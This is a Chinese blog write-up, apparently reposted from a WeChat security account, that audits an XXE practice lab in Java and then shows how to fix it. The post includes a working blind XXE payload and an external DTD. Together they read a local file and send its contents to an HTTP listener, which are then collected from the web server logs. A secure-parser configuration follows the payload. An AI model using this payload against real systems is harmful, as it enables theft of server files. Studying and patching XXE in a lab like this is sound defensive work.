某XXE靶场的审计与修复

admin 2022年3月16日14:40:01评论126 views字数 1562阅读5分12秒阅读模式

某XXE靶场的审计与修复

扫一扫关注公众号,长期致力于安全研究某XXE靶场的审计与修复




0x01 前言

最近下了一个xxe-lab靶场来玩,先玩了下php版本的,没啥毛病,但是在玩JAVA版本的时候,就发现了问题....是一个纯Servlet编写的项目,但是环境是eclipse的。

某XXE靶场的审计与修复


0x02 

至此小改一下即可。首先根据首页信息得知,通过ajax提交到了doLogin中,

某XXE靶场的审计与修复


既然原始版本用的servlet整合,那本人也就不在造轮子了,由于创建的是springboot项目,所以直接用注解的形式配置即可

某XXE靶场的审计与修复


最后在启动类上面,添加@ServletComponentScan注解即可

某XXE靶场的审计与修复


简单的代码分析如下,第40-41行获取username和password标签的值,gatValueTagName的实现方法在下方已经贴出,很简单。

某XXE靶场的审计与修复

gatValueTagName方法如下

某XXE靶场的审计与修复


接着看上上图43行的代码,可以发现当用户名和密码正确,code标签则为1,而输入的不正确则为0。既然如此,就不需要关注用户名和密码是什么了。同时最后在56行发现,通过response进行内容回显

某XXE靶场的审计与修复


之后进行测试即可。

某XXE靶场的审计与修复


无回显利用其实很简单,将回显那行注释掉

某XXE靶场的审计与修复


之后payload进行更改,这里注意,由于是java环境,所以没有使用php的伪协议。

<?xml version="1.0"?><!DOCTYPE test [<!ENTITY % file SYSTEM "file:///d:/test.txt"><!ENTITY % dtd SYSTEM "http://127.0.0.1/1.xml">%dtd;%send;]><user><username>321213</username><password>123213</password></user>

xml文件配置

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1/a.php?content=%file;'>"> %payload;


之后开启一个apache服务即可,访问之后报错

某XXE靶场的审计与修复

不要紧,接着查看apache日志即可。

其实有没有a.php文件都不要紧的,最终都会带到日志文件中去。

某XXE靶场的审计与修复



0x03 修复

找了一种修复方法,代码贴下面了

try{            String FEATURE = null;            FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";            dbf.setFeature(FEATURE, true);            FEATURE = "http://xml.org/sax/features/external-general-entities";            dbf.setFeature(FEATURE, false);            FEATURE = "http://xml.org/sax/features/external-parameter-entities";            dbf.setFeature(FEATURE, false);            FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";            dbf.setFeature(FEATURE, false);            dbf.setXIncludeAware(false);        }catch(Exception e){            e.printStackTrace();        }
最终测试

某XXE靶场的审计与修复


0x04 结束语

这里插句嘴~勿喷:最近看到了很多小孩子很浮躁(有种前些年看到helen的感觉了),学点最基础的东西就浮躁。我想说的是,比咱们厉害的师傅们是数不胜数的,应该把目光往上看,思考一下自己与前辈师傅们的差距在哪里。

11111
微信搜索关注 "安全族" 长期致力于安全研究


下方扫一下扫,即可关注某XXE靶场的审计与修复

某XXE靶场的审计与修复






原文始发于微信公众号(安全族):某XXE靶场的审计与修复

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月16日14:40:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某XXE靶场的审计与修复http://cn-sec.com/archives/830889.html

发表评论

匿名网友 填写信息